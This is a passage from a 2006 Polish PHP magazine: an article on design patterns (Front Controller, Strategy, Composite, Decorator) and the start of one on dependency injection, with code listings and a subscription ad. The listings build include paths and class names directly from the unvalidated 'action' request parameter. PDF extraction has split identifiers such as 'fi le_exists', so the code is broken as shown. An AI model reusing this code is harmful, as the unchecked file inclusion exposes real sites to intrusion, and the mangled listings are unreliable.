dowie frameworka

Stopień trudności: ���

16_17_18_19_20_21_22_23_wzorce_PL.indd 16 2006-01-12, 17:40:24

Page 17: PHPSolutions_2_2006_PL

Wzorce projektowe

www.phpsolmag.org 17

Początki

PHP Solutions Nr 2/2006

odróżnienia wzorców architektonicznych

od programistycznych, ich podziału na ka-

tegorie i warstwy aplikacji, wskazania, które

wzorce są wadliwe i których należy się

wystrzegać (antywzorce). Zaprezentujemy

wiele pomysłów i technik wywodzących

się z Javy, która jest podstawą inspirującą

nasze pomysły. Powiemy, kiedy powinno

się stosować dziedziczenie, a kiedy kom-

pozycję i pisanie do interfejsu. Pokażemy

wam, jak budować aplikacje, które są

jednocześnie proste i elastyczne, czyli

odporne na zmiany założeń. Zobaczycie,

jak dzielić aplikacje na niezależne warstwy,

które można wielokrotnie wykorzystywać

i wymieniać, jeżeli zachodzi taka potrze-

ba. Na samym końcu poruszymy temat

najnowszych trendów w programowaniu

obiektowym i pokażemy, jak napisać

i stosować kontener IoC, czy wykorzystać

programowanie aspektowe (AOP – ang.

Aspect Oriented Programing). W końcu

powiemy, jak omawiane rozwiązania są

wstanie współgrać w postaci jednego spój-

nego programu/aplikacji, który będzie sta-

nowił kompletny przykład tego, jak dobrze

i solidnie pisać w PHP z wykorzystaniem

wzorców i pewnych uznanych za dobre

praktyk programistycznych.

ZaczynamyNasz cel jest bardzo ambitny – chcemy po-

kazać wam, w przystępny i solidny sposób,

praktyczne wykorzystanie wzorców projek-

towych w implementacji aplikacji w PHP5.

Dlatego przyjeliśmy następujące założenia:

� każdy z omawianych przykładów osa-

dzimy we wspólnym kontekście, jakim

będzie framework do pisania aplikacji

WWW, który rozpoczniemy tworzyć

już teraz, w tym artykule,

� wszystkie prezentowane wzorce i po-

mysły przyporządkujemy jednoznacz-

nie do warstw aplikacji (prezentacja,

logika, dane),

� wszystkie przykłady będą bazowały

na PHP 5.0, a tam gdzie to konieczne,

będziemy odwoływać sie do PHP 5.1,

� prezentowany kod musi być przejrzy-

sty i zrozumialy, dlatego wykorzystane

zostaną jedynie standardowe elemen-

ty języka PHP5, z pominięciem np.

funkcji magicznych,

� musimy wiedzieć, czy podążamy

w dobrym kierunku, dlatego kod,

który będziemy razem tworzyć, zo-

stanie opublikowany w Internecie wraz

z forum, na którym będziecie mogli się

dyskutować o tworzonych rozwiąza-

niach.

Zbudujmy sobie frameworkWeźmy przykład – część aplikacji WWW,

odpowiedzialną za przetwarzanie parame-

trów przesyłanych w zapytaniu HTTP jako

wynik wywołania URL. Większość z nas

wielokrotnie pisała taki fragment kodu, roz-

wiązując ten sam problem trochę inaczej.

Ponieważ jest to artykuł o wzorcach pro-

jektowych, w dalszych przykładach wyko-

rzystamy wzorzec architektoniczny Front

Controller. Front Controller jest jednym,

centralnym miejscem aplikacji, przez który

przechodzą wszystkie wywołania HTTP.

Dzięki takiej fasadzie możemy w jednym

miejscu skupić funkcjonalność wspólną

dla wszystkich akcji (np. sprawdzanie praw

Wzorce programistyczne i projektoweWielu programistów kojarzy pojęcie wzorców z książką Design Patterns, napisaną przez

czwórkę programistów: Erich Gamma, Richard Helm, Ralph Johnson and John Vlissides,

zwanych Bandą Czworga w skrócie GOF (Gang Of Four). Książka ta jako pierwsza spo-

pularyzowała pojęcie wzorców w świecie informatyki.

Wzorce nie stanowią jednego wspólnego worka, dzieli się je na kategorie, co ułatwia

ich odnajdywanie i zrozumienie. Można je kategoryzować na wiele sposobów – GOF po-

dzielili wzorce na trzy kategorie:

� strukturalne (pokazujące, jak należy łączyć ze sobą klasy),

� behawioralne (pokazujące jak uelastyczniać zachowanie oprogramowania),

� tworzące (pokazujące jak uelastyczniać tworzenie obiektów).

Inny sposób mówi o podziale wzorców na warstwy. I tak mamy wzorce należące do warstwy

prezentacji, logiki biznesowej, i dostępu do danych. Są też wzorce, które nie należą do żad-

nej z wymienionych kategorii, np. Template Metod, Composite czy Dekorator. Wyróżnia się

jeszcze trzeci podział mający charakter nieformalny, który dzieli wzorce na programistyczne

i architektoniczne, o którym wspomnieliśmy na początu artykułu. Istnieją też wzorce, które

nie należą do żadnej z wymienionych kategorii, ale mają istotne znaczenie, ponieważ stano-

wią fundament bardziej złożonych rozwiązań. Opowiemy o nich kolejnych artykułach.

Rysunek 1. UML-owy diagram klas dla omawianego fragmentu frameworka

16_17_18_19_20_21_22_23_wzorce_PL.indd 17 2006-01-12, 17:43:08

Page 18: PHPSolutions_2_2006_PL

Wzorce projektowe

www.phpsolmag.org18

Początki

PHP Solutions Nr 2/2006

użytkowników do wykonania danej akcji,

logowanie czasy renderowania stron itd.).

W szczególności w tym głównym kontrole-

rze będziemy umieszczali logikę związaną

z interpretacją przesłanych parametrów. Na

podstawie wyniku interpretacji parametrów,

Front Controller przekazuje sterowanie do

konkretnej akcji, modułu aplikacji. W tych

oddzielnych akcjach znajduje się funkcjo-

nalność poszczególnych modułów, np.:

zarządzanie kontami użytkowników, ob-

sługa newsów czy forum. Głównemu kon-

trolerowi pozostawiamy zadania wspólne

dla wszystkich akcji. Dzięki takiej separacji

zadań programista dopisujący nowy moduł

nie musi martwić się o usługi, które muszą

być zapewnione dla każdej akcji. Tym zaj-

muje się już Front Controller. Więcej o tym

wzorcu przeczytacie w artykule Frameworki

dla PHP, z numeru 2/2005.

Spójrzmy na Listing 1 i Rysunek 1,

gdzie możemy zobaczyć prosty schemat

UML omówionej części aplikacji oraz re-

prezentację tego modelu w kodzie. Jak

widać na przedstawionym wydruku, na

początku zdecydowaliśmy się na dość

prosty sposób mapowania URL na kon-

kretną klasę dostarczającą funkcjonalności.

Zakładając, że URL miał postać http://

[host]/[katalog]/index.php?action=sayhello,

w przedstawionym przykładzie będziemy

poszukiwali klasy o nazwie sayhello

umieszczonej w głównym katalogu. Oczy-

wiście taki sposób mapowania wywołań

na implementację jest dość prymitywny

i w praktyce różne osoby będą miały od-

mienne pomysły na nazewnictwo klas,

ich położenie w strukturze folderów, wy-

magania co do bezpieczeństwa itd. Może

zdarzyć się nawet, że my sami w różnych

projektach będziemy chcieli stosować

jakieś warianty podstawowego rozwiąza-

nia. W chwili obecnej każda taka zmiana

wymaga modyfi kacji klasy głównego kon-

trolera. Możemy próbować przewidywać,

jakie funkcje będą w przyszłości potrzebne

i odpowiednio sparametryzować Front

Controller (Listing 2).

Niestety, nasze przewidywania nie

obejmują zbyt wielu przypadków i z pewno-

ścią znajdzie się projekt, w którym potrzeb-

na będzie zupełnie odmienna strategia

odnajdywania implementacji na podstawie

URL. Czy oznacza to, że jesteśmy skazani

na ciągłe zmiany Front Controllera?

Strategy

Listing 3 pokazuje, że najczęściej zmienia-

jącą się część kodu możemy wydzielić do

Listing 1. Front Controller z ustalonym na stałe sposobem wyszukiwania akcji

interface MVCAction {

public function doAction(HttpRequest $request);

}

class HttpRequest {

private $_requestParams = array ();

public function __construct() {

$this->_requestParams = array_merge($_GET, $_POST);

}

public function getParam($paramName) {

return $this->_requestParams[$paramName];

}

}

interface FrontController {

public function doService(HttpRequest $request);

}

/**

* Najprostsza implementacja interfejsu FrontController.

* Wszystkie parametry sterujące pracą głównego kontrolera są zapisane na stałe

w kodzie.*/

class FrontControllerImpl implements FrontController {

public function doService(HttpRequest $request){

//na stałe zapisana nazwa parametru wywołania HTTP,

//przez co trudno jest zmienić nazwę parametru odpowiedzialnego

//za przekierowanie przetwarzania do konkretnej akcji

$actionName = $request->getParam('action');

if ($actionName != ''){

//na stałe zapisany katalog i nazewnictwo plików zawierających akcje,

//wprowadzenie innej strategii odnajdywania klas z implementacją akcji

//wymaga modyfi kacji w tym fragmencie kodu

$actionClassFileName = dirname(__FILE__).'/'.$actionName.'.php';

if (!class_exists($actionName)){

if (fi le_exists($actionClassFileName)){

require_once($actionClassFileName);

} else {

throw new RuntimeException("Brak na dysku pliku z defi nicją akcji

'$actionClassFileName'");

}

}

//powołanie do życia odnalezionej klasy dla akcji

$actionClass = new $actionName();

//właściwe wywołanie akcji

//wszystkie akcje muszą implementować interfejs MVCAction

$actionClass->doAction($request);

} else {

throw new RuntimeException('Nie wyspecyfi kowano akcji do wywołania!');

}

}

}

$fc = new FrontControllerImpl();

$fc->doService(new HttpRequest());

class sayhello implements MVCAction {

public function doAction(HttpRequest $request){

echo "Hello World!";

}

}

16_17_18_19_20_21_22_23_wzorce_PL.indd 18 2006-01-12, 17:40:45

Page 19: PHPSolutions_2_2006_PL

zamów prenumeratę PHP Solutions a otrzymasz prezent!

szczegółowe informacje: www.phpsolmag.org/prenumerata lub [email protected]

w prezencie otrzymasz

Archiwum PHP Solutions 2005 w PDF

dodatkowo do wyboru:

program PHPRunner o wartości 199$

pakiet Xtreeme SiteXpert fi rmy Xtreeme

dwa dowolne numery archiwalne PHP Solutions

roczny abonament na Usługę Business Starter

jedna z czterech książek z Wydawnictw Naukowo-Technicznych

pakiet internetowy nQ.Biznes fi rmy Netlink o wartości 486,70 zł

Maguma Workbench Core

* cena prenumeraty rocznej w promocji zimowej

oferta ważna do wyczerpania zapasów;

niższa cena: 135zł

19_prenumerata_PL.indd 74 2006-01-12, 17:43:57

Page 20: PHPSolutions_2_2006_PL

Wzorce projektowe

www.phpsolmag.org20

Początki

PHP Solutions Nr 2/2006

Listing 2. Front Controller po sparametryzowaniu

/**

* Kolejna próba implementacji FrontControllera, w której

* pojawiają się parametry dla wartości, które do tej pory

* były zapisane na stałe.

*/

class FrontControllerImpl implements FrontController {

private $_actionRequestParamName;

private $_actionFileNamePrefi x;

private $_actionFileNameSufi x;

/**

* Konstruktor FrontControllera, dzięki któremu możemy

* parametryzować działanie metody doService.

*

* @param String $actionRequestParamName

* @param String $actionFileNamePrefi x

* @param String $actionFileNameSufi x

*/

public function __construct($actionRequestParamName,

$actionFileNamePrefi x, $actionFileNameSufi x){

$this->_actionRequestParamName =

$actionRequestParamName;

$this->_actionFileNamePrefi x = $actionFileNamePrefi x;

$this->_actionFileNameSufi x=$actionFileNameSufi x;

}

public function doService(HttpRequest $request){

$actionName = $request->getParam(

$this->_actionRequestParamName);

if ($actionName != ''){

$actionClassFileName = $this->

_actionFileNamePrefi x.

$actionName.$this->_actionFileNameSufi x;

if (!class_exists($actionName)){

if (fi le_exists($actionClassFileName)){

require_once($actionClassFileName);

} else {

throw new RuntimeException(

"Brak na dysku pliku z defi nicją akcji

'$actionClassFileName'");

}

}

$actionClass = new $actionName();

$actionClass->doAction($request);

} else {

throw new RuntimeException(

'Nie wyspecyfi kowano akcji do wywołania!');

}

}

}

$fc = new FrontControllerImpl('action',

dirname(__FILE__).'/','.php');

$fc->doService(new HttpRequest());

Listing 3. Front Controller z wymienną strategią

odnajdywania akcji

interface ActionResolvingStrategy {

public function resolveAction(HttpRequest $request);

}

class FilePerActionResolvingStrategy implements

ActionResolvingStrategy {

private $_actionRequestParamName;

private $_actionFileNamePrefi x;

private $_actionFileNameSufi x;

public function __construct($actionRequestParamName,

$actionFileNamePrefi x, $actionFileNameSufi x) {

$this->_actionRequestParamName =

$actionRequestParamName;

$this->_actionFileNamePrefi x = $actionFileNamePrefi x;

$this->_actionFileNameSufi x = $actionFileNameSufi x;

}

public function resolveAction(HttpRequest $request) {

$actionName = $request->getParam(

$this->_actionRequestParamName);

if ($actionName != '') {

$actionClassFileName = $this->

_actionFileNamePrefi x.

$actionName.$this->_actionFileNameSufi x;

if (!class_exists($actionName)) {

if (fi le_exists($actionClassFileName)) {

require_once ($actionClassFileName);

} else {throw new RuntimeException(

"Brak na dysku pliku z defi nicją akcji

'$actionClassFileName'");

}

}

} else {throw new RuntimeException(

'Nie wyspecyfi kowano akcji do wywołania!');

}

$actionClass = new $actionName ();

return $actionClass;

}

}

class FrontControllerImpl implements FrontController {

private $_actionResolvingStrategy;

//Przy konstruowaniu FrontController-a ustalamy strategię,

//według której będą odszukiwane akcje dla zapytania HTTP.

public function __construct(ActionResolvingStrategy

$actionResolvingStrategy) {

$this->_actionResolvingStrategy =

$actionResolvingStrategy;

}

public function doService(HttpRequest $request) {

// we FrontControllerze pozostaje jedynie wywołanie

// wcześniej ustalonej strategii. Cała logika związana

// z odnalezieniem akcji zawarta jest w klasie

// implementującej interfejs ActionResolvingStrategy

$actionClass = $this->_actionResolvingStrategy->

resolveAction($request);

if (!is_null($actionClass)) {

$actionClass->doAction($request);

} else {throw new RuntimeException(

'Nie znaleziono akcji do wykonania');

}

}

}

$fc = new FrontControllerImpl(

new FilePerActionResolvingStrategy('action',

dirname(__FILE__).'/', '.php'));

$fc->doService(new HttpRequest());

16_17_18_19_20_21_22_23_wzorce_PL.indd 20 2006-01-12, 17:41:23

Page 21: PHPSolutions_2_2006_PL

Wzorce projektowe

www.phpsolmag.org 21

Początki

PHP Solutions Nr 2/2006

osobnej klasy, w ten sposób uniezależnia-

jąc główny kontroler od pomysłów na ma-

powania URL. Listing 4 jest dowodem na

to, że dzięki wprowadzonej zmianie można

stosować zupełnie nowe strategie, np.

posiłkując się implementacją konkretnych

akcji przechowywaną w pamięci dzielonej.

Słowo strategia pojawia się tutaj nieprzy-

padkowo, bowiem pokazana na Listingu

3 modyfi kacja jest wzorcem projektowym

Strategy. Dzięki niemu wyodrębniliśmy

fragment programu, który może być łatwo

podmieniany i dostosowany do konkretnych

potrzeb. Możemy stosować różne strategie

dla konkretnego kroku w większym algoryt-

mie. Dopisujemy tylko tą część programu,

która dostarcza nowej funkcjonalności i nie

musimy modyfi kować już istniejących klas.

Idealne rozwiązanie.

Composite

Bez problemu potrafi my już odszukiwać do-

wolne klasy zawierające implementację dla

przesłanego parametru URL. Całe rozwią-

zanie działa bez najmniejszego zarzutu, ale

ma jedno niedociągnięcie: implementacji

możemy poszukiwać tylko w jednym miej-

scu. W dużej części praktycznych zasto-

sowań to wystarczy, ale wyobraźmy sobie

sytuację w której próbujemy najpierw od-

szukać potrzebną implementację w pamię-

ci dzielonej, a w przypadku niepowodzenia

– na dysku. Już wcześniej przygotowaliśmy

oddzielne strategie przeszukiwania dysku

i pamięci, teraz wystarczy tylko połączenie

obu rozwiązań w jedną całość (Listing 5).

Dodajmy jeszcze jedno wymaganie – jeśli

potrzebna klasa nie zostanie odnaleziona

w żadnym z wcześniej wskazanych miejsc,

to obsługa wywołania jest delegowana do

standardowej klasy obsługującej sytuacje

wyjątkowe. Listing 6 pokazuje nasz przy-

kładowy kod po wprowadzeniu zapropo-

nowanych zmian. Analizując ten przykład

łatwo zauważmy, że każdą kolejną strate-

gię składamy z już gotowych elementów.

Z punktu widzenia Front Controllera zu-

pełnie nie ma znaczenia, czy potrzebna

klasa jest poszukiwana w jednym, czy też

w wielu miejscach. My natomiast zyskali-

śmy nowe, potężne i elastyczne narzędzie

– możliwość dowolnego łączenia pod-

stawowych klocków w większe struktury.

Zamiast od nowa pisać kod, posługujemy

się kompozycją. Po raz kolejny okazuje się,

że zmiany które właśnie wprowadziliśmy są

bardzo często spotykane przy okazji róż-

nych problemów programistycznych. Ma-

my więc standardowy problem i eleganckie

Listing 4. Strategia odnajdywania akcji w cache

/**

* Ta klasa korzysta z rozszerzenia MCache to przechowywania obiektów w

* pamięci pomiędzy wywołaniami.

* @link http://pecl.php.net/package/memcache*/

class MCacheActionResolver implements ActionResolvingStrategy {

private $_actionRequestParamName;

private $_memcache;

public function __construct($actionRequestParamName, $memcacheHost,

$memcachePort){

$this->_actionRequestParamName = $actionRequestParamName;

$memcache = new Memcache;

$memcache->connect($memcacheHost, $memcachePort);

$this->_memcache = $memcache;

}

public function resolveAction(HttpRequest $request){

$actionName = $request->getParam($this->_actionRequestParamName);

if ($actionName != ''){

return $this->_memcache->get($actionName);

} else {

throw new RuntimeException('Nie wyspecyfi kowano akcji do wywołania!');

}

}

}

Listing 5. Kompozycja wielu strategii odnajdywania akcji

/**

* Ta klasa nie dostarcza nowego sposobu odnajdywania akcji.

* Zamiast tego, potrafi skorzystać z wielu przygotowanych wcześniej strategii.

*/

class CompositeActionResolver implements ActionResolvingStrategy {

// W tej zmiennej przechowujemy zdefi ninowane strategie

private $_defi nedStrategies = array ();

public function __construct($defi nedStrategies) {

$this->_defi nedStrategies = $defi nedStrategies;

}

public function resolveAction(HttpRequest $request) {

// przeszukujemy po kolei wszystkie zdefi niowane strategie

// i zwracamy pierwszą akcję znalezioną przez jakąś strategię

foreach ($this->_defi nedStrategies as $strategy) {

$actionFromStrategy = $strategy->resolveAction($request);

if ($actionFromStrategy != null) {

return $actionFromStrategy;

}

}

return null;

}

}

// do konstruktora Front Controller przekazujemy w dalszym ciągu tylko

// jedną strategię, wzorzec Composite ukrywa przed Front Controller fakt,

// iż teraz poszukujemy akcji na 2 różne sposoby

$fc = new FrontControllerImpl(new CompositeActionResolver(array (

new MCacheActionResolver('action', 'localhost', 11211),

new FilePerActionResolvingStrategy('action', dirname(__FILE__).'/',

'.php'))));

$fc->doService(new HttpRequest());

16_17_18_19_20_21_22_23_wzorce_PL.indd 21 2006-01-12, 17:41:33

Page 22: PHPSolutions_2_2006_PL

Wzorce projektowe

www.phpsolmag.org22

Początki

PHP Solutions Nr 2/2006

rozwiązanie. Udało się nam zidentyfi kować

kolejny wzorzec projektowy – Composite.

Jest to bardzo sprytny sposób na łączenie

jednostkowych rozwiązań, pojedynczych

funkcjonalności w zupełnie nowe, jeszcze

potężniejsze moduły. Wzorzec ten znajduje

bardzo szerokie zastosowanie, od obiekto-

wej reprezentacji działań matematycznych

po, jak przed chwilą widzieliśmy, budowę

frameworków.

Dekorator

Odnajdywanie klas implementujących

akcje nie jest już dla nas najmniejszym

problemem. Ponieważ tą część budowy

frameworka mamy już za sobą, spróbujmy

rozszerzyć jego możliwości. Interesującym

dodatkiem funkcjonalnym mogłoby być

zbieranie statystyk dotyczących wywoły-

wanych przez użytkowników akcji. Chcie-

libyśmy śledzić częstość wykorzystania

poszczególnych funkcjonalności i nawet

moglibyśmy pokusić się o zidentyfi kowanie

ścieżek, jakimi najczęściej poruszają się

użytkownicy w całej aplikacji. Aby prowa-

dzić wspomniane analizy, musimy jednak

najpierw przygotować dane statystyczne.

Jedyną informacją, jakie potrzebujemy jest

nazwa klasy dla wywoływanej akcji. Gdzie

umieścić kod pozyskujący tą daną?

Na pierwszy rzut oka może wydawać

się, że problem rozwiążemy pisząc kod

zbierający statystyki w jednej z klas im-

plementujących interfejs ActionResolving-

Strategy. Po chwilowym zastanowieniu się

szybko dojdziemy do wniosku, że jednak

nie jest to najlepsze rozwiązanie: w apli-

kacji może funkcjonować wiele strategii.

Nie chcemy oczywiście powielać kodu

zbierającego dane statystyczne. Drugim

kandydatem jest więc klasa Front Control-

lera. To rozwiązanie nie jest również sa-

tysfakcjonujące: przecież przy omawianiu

wzorca projektowego Strategy dążyliśmy

do pozostawienia głównego kontrolera bez

zmian. Ruch taki był podyktowany dobrą

praktyką programowania obiektowego, wg

której klasa powinna być zamknięta na

modyfi kacje, ale otwarta na rozszerzanie.

W praktyce oznacza to, że funkcjonalność

powinniśmy wprowadzać dodając nowy

kod, a nie modyfi kować już istniejący.

Biorąc pod uwagę wszystkie wspo-

mniane ograniczenia, wydaje się, że trudno

jest znaleźć miejsce dla fragmentu skryptu

zliczającego statystyki. Na szczęście sytu-

acja nie jest beznadziejna, a wybawienie

przychodzi ze strony kolejnego wzorca

projektowego – dekorator (ang. Decorator).

Listing 6. Wzorzec Composite i strategia InstanceActionResolver

/**

* Ta strategia zawsze zwraca konkretną instancję akcji.

* Dzięki temu, że implementuje ona interfejs @see ActionResolvingStrategy,

* może uczestniczyć w rozwiązywaniu akcji przez @see CompositeActionResolver.

*/

class InstanceActionResolver implements ActionResolvingStrategy {

// W tej zmiennej przechowujemy konkretną instancję akcji.

private $_action = null;

public function __construct(MVCAction $action) {

$this->_action = $action;

}

public function resolveAction(HttpRequest $request) {

// niezależnie od parametrów wywołania zwracamy tą samą akcję

return $this->_action;

}

}

// Klasa akcji dla sytuacji wyjątkowych.

class ErrorAction implements MVCAction {

public function doAction(HttpRequest $request){

echo "Wystąpił błąd!";

}

}

$fc = new FrontControllerImpl(

new CompositeActionResolver(array (

new MCacheActionResolver('action', 'localhost', 11211),

new FilePerActionResolvingStrategy('action', dirname(__FILE__).'/', '.php'),

//CompositeActionResolver zawsze znajdzie tą akcje, jeśli powyższe

//metody zawiodą

new InstanceActionResolver(new ErrorAction()))));

$fc->doService(new HttpRequest());

Listing 7. Dekorowanie strategii poszukiwania akcji

class StatisticsDecoratingActionResolver implements ActionResolvingStrategy {

private $_decoratedStrategy = null;

public function __construct(ActionResolvingStrategy $decoratedStrategy) {

$this->_decoratedStrategy = $decoratedStrategy;

}

public function resolveAction(HttpRequest $request) {

// najpierw wykonujemy oryginalny kod

$returnValue = $this->_decoratedStrategy->resolveAction($request);

// teraz zliczamy ilość konkretnych akcji

//tu następuje wzbogacenie pierwotnej klasy o nową funkcjonalność

if (!is_null($returnValue)) {

$classActionName = get_class($returnValue);

//tutaj umieszczamy kod zapisujący statystyki

//dla akcji $classActionName

}

//zwracamy wartość przygotowaną przez oryginalny kod

return $returnValue;

}

}

$fc = new FrontControllerImpl(

//tutaj dekorator "opakowuje" oryginalną strategię odnajdywania akcji

//zarówno dla Front Controllera jak i dla FilePerActionResolvingStrategy

//to udekorowanie jest zupełnie przezroczyste

new StatisticsDecoratingActionResolver(new FilePerActionResolvingStrategy(

'action', dirname(__FILE__).'/', '.php')));

$fc->doService(new HttpRequest());

16_17_18_19_20_21_22_23_wzorce_PL.indd 22 2006-01-12, 17:41:43

Page 23: PHPSolutions_2_2006_PL

23PHP Solutions Nr 2/2006

Po raz kolejny nazwa wzorca naprowadza nas na trop jego

funkcjonalności: zamiast zmieniać istniejące klasy otoczmy

je, udekorujmy nową funkcjonalnością. Cała idea stanie się

oczywista, jeśli spojrzymy na Listing 7.

Zabieg z wprowadzeniem dekoratora wykonujemy kon-

struując nową klasę, która implementuje dokładnie taki inter-

fejs, jak klasa dekorowana. W samym dekoratorze możemy

dodać nową funkcjonalność do dowolnie wybranych metod,

wzbogacając niektóre o nową funkcjonalność, inne zaś po-

zostawiając bez zmian.

Po bliższym przyjrzeniu się Listingowi 7 zauważymy,

że jeden obiekt może być udekorowany wielokrotnie. Bez

problemu możemy wprowadzić inny dekorator, który umoż-

liwia dostęp do aplikacji tylko w wyznaczonych godzinach.

Wszystkie opisane modyfi kacje są możliwe bez zmiany

choćby jednej linijki kodu! Sterowanie funkcjonalnością

głównego kontrolera odbywa się przez jego odpowiednie

skonfi gurowanie (przekazanie do konstruktora wybranej

implementacji interfejsu ActionResolvingStrategy).

PodsumowaniePrzedstawione przykłady stanowią solidne i potrzebne

wprowadzenie do problematyki wzorców projektowych.

Opisaliśmy jeden wzorzec architektoniczny i trzy niskopo-

ziomowe wzorce projektowe. Zobaczyliśmy, jak elastyczne

rozwiązania możemy osiągnąć. Stawiając kolejne wyma-

gania funkcjonalne doszliśmy do najelastyczniejszego

rozwiązania. Gdyby każdy z Was spędził trochę czasu nad

przedstawionym fragmentem frameworka, z dużym praw-

dopodobieństwem samodzielnie odkryłby przedstawione

wzorce projektowe. To ważna cecha dobrego i szeroko

akceptowanego wzorca.

Zaprezentowane przez nas wzorce zostały tak dobrane,

by skupić się na jednym, niewielkim wycinku frameworka.

Oczywiście nie jest sztuką wykorzystanie jak największej

liczby wzorców projektowych w danym fragmencie kodu.

Prawdziwym wyzwaniem jest zidentyfi kowanie i użycie tylko

tych wzorców, które wprowadzają elastyczność w tym frag-

mencie aplikacji, w którym jej potrzebujemy.

Budowany framework to idealny poligon doświadczalny,

na którym zaprezentujemy wiele pożytecznych, sprawdzo-

nych w praktyce wzorców projektowych i architektonicznych.

Dalsze ćwiczenia w następnym numerze PHP Solutions. �

Paweł Kozłowski jest pracownikiem SUPERMEDIA, gdzie

od roku 2000 projektuje i tworzy złożone aplikacje WWW

w PHP. Obecnie zajmuje się rozwijaniem frameworków

i bibliotek ORM opartych na PHP5. Jest autorem portu Pico-

Container dla PHP5 i wielu publikacji poświęconych PHP.

Kontakt z autorem: [email protected].

Piotr Szarwas jest pracownikiem SUPERMEDIA Interacti-

ve i doktorantem na wydziale Fizyki Politechniki Warszaw-

skiej. Od 2003 roku projektuje aplikacje WWW w oparciu

o PHP4/5. Obecnie zajmuje się tworzeniem frameworka

dla PHP opartego na rozwiązaniach Hibernate i Spring.

Kontakt z autorem: [email protected]

O autorach

16_17_18_19_20_21_22_23_wzorce_PL.indd 23 2006-01-12, 17:42:34

Page 24: PHPSolutions_2_2006_PL

www.phpsolmag.org24

Techniki

PHP Solutions Nr 2/2006

Programowanie obiektowe na do-

bre zagościło już w środowisku

PHP. Coraz lepiej poznajemy

i rozumiemy zasady rządzące konstru-

owaniem zorientowanych obiektowo apli-

kacji. Dbamy, by obiekty danej klasy miały

jedno, ściśle określone zadanie (ang. High

cohension), a powiązania pomiędzy róż-

nymi obiektami były możliwie luźne (ang.

Low coupling). Taki styl programowania

w naturalny sposób prowadzi do po-

wstania bardziej czytelnych, łatwiejszych

w utrzymaniu programów.

Niektóre z zależności pomiędzy

obiektami mają szczególny wpływ na ar-

chitekturę programu – dotyczy to obiektów

powiązanych z infrastrukturą: bazą danych,

sposobem wysyłki e-mail itp. Jeśli zbyt sil-

nie połączymy naszą aplikację z infrastruk-

turą, bardzo trudno będzie nam zmienić np.

bibliotekę obsługującą DB (ważne z punktu

widzenia PDO) czy rozwiązanie ORM. Co

więcej, takie silne powiązania bardzo utrud-

nią tworzenie testów jednostkowych (ang.

Jeśli przyjrzymy się wewnętrznej strukturze

zorientowanej obiektowo aplikacji, z łatwością

dostrzeżemy sieć wielu, współpracujących ze

sobą obiektów. Kluczowe staje się pytanie: jak

połączyć ten ogrom funkcjonalności zamknięty

w poszczególnych obiektach w jeden spójny

program? W jaki sposób dwa współpracujące ze

sobą obiekty dowiadują się o swoim istnieniu?

Unit testing). Z kolei zbyt luźne powiąza-

nia to udręka podczas pisania aplikacji

– w którymś momencie musimy przecież

poskładać poszczególne elementy w jedną

całość. Prześledźmy więc na przykładach

możliwe sposoby tworzenia powiązań

pomiędzy obiektami, oraz przeanalizujmy

wady i zalety poszczególnych rozwiązań.

Aby nasza dyskusja była bardziej ob-

razowa, wyobrazimy sobie, że budujemy

aplikację typu forum dyskusyjne. Naszym

zadaniem jest zaprojektowanie takiej

architektury, by forum można było łatwo

dostosować do współpracy z istniejącymi

już bazami, zawierającymi dane użytkow-

Obiektowa liniamontażowa, czyli przejrzystei elastyczne aplikacje w PHP5Paweł Kozłowski

W SIECI

1. http://www.martinfowler.com/

articles/injection.html

2. http://www.picocontainer.org/

Ports

Co należy wiedzieć...Powinieneś mieć podstawową wiedzę

z zakresu wzorców projektowych.

Co obiecujemy...Z artykułu dowiesz się, jak zbudować

solidną, elastyczną i przejrzystą obiekto-

wą aplikacją z wykorzystaniem wzorców

projektowych.

Stopień trudności: ���

Page 25: PHPSolutions_2_2006_PL

OOP, Dependency Injection

www.phpsolmag.org 25

Techniki

PHP Solutions Nr 2/2006

ników. Dodatkowo chcielibyśmy możliwie

łatwo dodać pełen zestaw testów jednost-

kowych.

Rysunek 1 zawiera UML-owy model

klas dla fragmentu systemu odpowie-

dzialnego za zarządzanie użytkownikami.

Nasz przykładowy moduł zbudowany jest

według wszelkich reguł sztuki i ma ściśle

wyodrębnioną warstwę biznesową (klasy

UserService, User, UserExistsException)

oraz warstwę dostępu do danych (User-

DAO, DBConnection). Aby przykład był

bardziej czytelny, nie rozważamy warstwy

widoku i kontrolera z MVC (kontroler bez-

pośrednio wywołuje metody na obiekcie

UserService).

Jeden rzut oka na przedstawiony

schemat wystarczy by stwierdzić, że na-

wet w tak prostym module, składającym

się z zaledwie pięciu obiektów, istnieje

wiele wzajemnych powiązań. Dla nas

najistotniejsza jest zależność pomiędzy

obiektami klas UserService i UserDAO: de-

cyduje ona o tym, jak łatwo będzie moż-

na podmienić miejsce przechowywania

danych użytkowników, oraz czy możliwe

będzie pisanie testów jednostkowych.

W poszukiwaniu współpracownikaNajprostszym sposobem na zapewnie-

nie połączeń jest powoływanie do życia

obiektów wtedy, gdy akurat ich potrze-

bujemy. Fragment modułu stworzonego

w tym duchu pokazują Listingi 1 i 2. Apli-

kacja będzie funkcjonować poprawnie,

Rysunek 1. Model klas, z których korzystamy w przykładach

Listing 1. Klasy dla modelu UML zaprezentowanego na Rysunku 1

<?php

class User {

private $_login;

private $_password;

private $_fi rstName;

private $_lastName;

public function __construct($login, $password, $fi rstName, $lastName){

$this->_login = $login;

$this->_password = $password;

$this->_fi rstName = $fi rstName;

$this->_lastName = $lastName;

}

public function getLogin(){return $this->_login;}

public function getPassword(){return $this->_password;}

public function getFirstName(){return $this->_fi rstName;}

public function getLastName(){return $this->_lastName;}

}

class UserExistsException extends Exception {

private $_existingLoginName;

public function __construct($existingLoginName){

$this->_existingLoginName = $existingLoginName;

}

public function getExistingLoginName(){return $this->_existingLoginName;}

}

interface UserService {

public function fi ndUserByLoginName($login);

public function addUser(User $u);

}

interface UserDAO {

public function fi ndUserByLoginName($login);

public function save(User $u);

}

?>

ale zastosowane rozwiązanie ma dwie

poważne wady.

Po pierwsze, obiekty UserService są

na stałe powiązane z konkretnym sposo-

bem przechowywania danych użytkowni-

ków (UserDAO). Ścisły związek obiektów

tych dwóch klas oznacza, że nie uda się

w naszym fi kcyjnym forum zastosować in-

Page 26: PHPSolutions_2_2006_PL

OOP, wzorce projektowe

www.phpsolmag.org26

Techniki

PHP Solutions Nr 2/2006

Listing 2. Wiązane obiektów przez ich tworzenie przy

pomocy new

class UserServiceImpl1 implements UserService {

public function addUser(User $u) {

$userDao = new UserDAOPDOImpl();

$existingUser = $userDao->fi ndUserByLoginName(

$u->getLogin());

if ($existingUser == null) {

$userDao->save($u);

} else {

throw new UserExistsException($u->getLogin());

}

}

